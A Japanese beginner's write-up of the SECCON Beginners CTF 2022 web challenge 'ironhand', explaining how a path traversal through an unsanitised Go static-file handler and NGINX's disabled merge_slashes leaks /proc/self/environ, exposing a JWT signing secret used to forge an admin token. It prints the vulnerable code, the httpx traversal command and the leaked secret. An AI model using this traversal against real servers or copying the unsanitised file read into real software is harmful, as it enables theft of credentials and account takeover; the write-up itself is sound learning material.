[SECCON Beginners CTF 2022] ironhand

Treadstone、Blackbriar、そして...?

概要

docker-compose.ymlとかDockerfileから

  • ウェブサーバー
  • NGINXサーバー
  • flagを持つHTTPサーバー

の3つがあって、NGINXからウェブサーバーにリバースプロキシをしてユーザーにビューを返し、システム上の"管理者"権限を持っている人だけがflagをもつHTTPサーバーにウェブサーバー経由でアクセスできるようになっている。

JWTのHMACキーはウェブサーバーの環境変数として保存されている。ちなみにフラグはflagを持つHTTPサーバーの/にアクセスすればそのまま返ってくるようになっている。

ウェブサーバーはユーザー管理にJWTを使っている。JWTの署名にはHS256を使っているみたい。
JWTのアルゴリズムをNoneにしたら署名を回避できる、みたいなのを見かけたが通用しなかった。

解法(失敗)

問題文から、Treadstone, Blackbair, ときたら次はOutcomeみたいなサジェストを見たので、それがHMACキーになっているのかと思って試したけどだめ。

簡単な6文字くらいの0UTC0M3みたいなHMACキーかと思ってjohn the ripper模したけどだめ。

GPUついてたパソコンを売ったばっかりに、無駄にノーパソがアツアツの状態で他の問題に手を出す羽目になりました。結果、1時間やっても出ないので諦め。

解法(成功)

結局、ウェブサーバー上にあるdirectory traversalの脆弱性を使う感じになった。

    e.GET("/static/:file", func(c echo.Context) error {

        path, _ := url.QueryUnescape(c.Param("file"))   
        f, err := ioutil.ReadFile("static/" + path)

        if err != nil {
            e.Logger.Info(err);
            return c.String(http.StatusNotFound, "No such file")
        }
        return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
    })

この箇所、読み込むpathのサニタイズがないので、好きなパスを渡したら好きなだけ読めそう。
今回のサーバー構成だったら普通はNGINXがトラバーサルをしようとしてもpathのスラッシュをマージしたりして攻撃が通らない。けど、今回の場合は

    merge_slashes off;

なぜかそのマージ機能が切られてる。こんな設定あったんですね。

directory traversalが通ると言っても、コンテナ内なのであんまり自由に動けるわけではない。フラグが存在するサーバー内に入れたわけでもないし、フラグに直接アクセスできるようなサーバー構成にはなってない。

どうにかしてHMACキーが欲しい、と思って先輩にどっか環境変数が全部書いてあるようなパスってないですか?って聞いたら/etc/self/environに保存されているらしい。さすが変態のmetarinさんです。

ということで、そのパスにアクセスできるように頑張ります。普通のブラウザとかcurlだとブラウザ側でもパスがマージされてアクセスできないので、それっぽいマージしないようなツールで無理やりアクセスします。

./httpx -l url.txt -title -tech-detect -status-code -path "/static//../../proc/self/environ" -sr

これで

HOSTNAME=a98210d82749JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dSHLVL=1HOME=/home/appuserPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/app

環境変数が全部もれた!

この攻撃怖いですね。普段の開発で環境変数にAWSのキーとかしまっちゃってるパターンあるので、油断禁物です。サニタイズは忘れないようにします。

HMACキー、全然推測できるような文字列じゃなかった。ともあれHMACキーがあればJWTの情報を改竄し放題なので、あとは適当にJWTを改竄して管理者を自称します。

改竄したJWTをクッキーにしまってアクセスすると、フラグです。

ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

it's funny how different thing look depending on where you sit

なんかのセリフなんでしょうか。The Bourne Legacy未履修の私には、思わせぶりな問題文の意味が最後までわかりませんでした。。

初心者にとっては新しい発見が多く、とっても楽しかったです。

対策

先日開発したツールでも、似たような感じでDockerコンテナ内にAWSトークンを環境変数として渡しているので、同じようなディレクトリトラバーサル脆弱性があったらトークンを盗まれてしまいます。

実際のAWSトークンのポリシーは完全に必要最低限に絞ってあるのでもし盗まれたとしても大した被害は出ませんが、今回のようなパターンもあるので怖いです。

誰か対策方法教えてください!!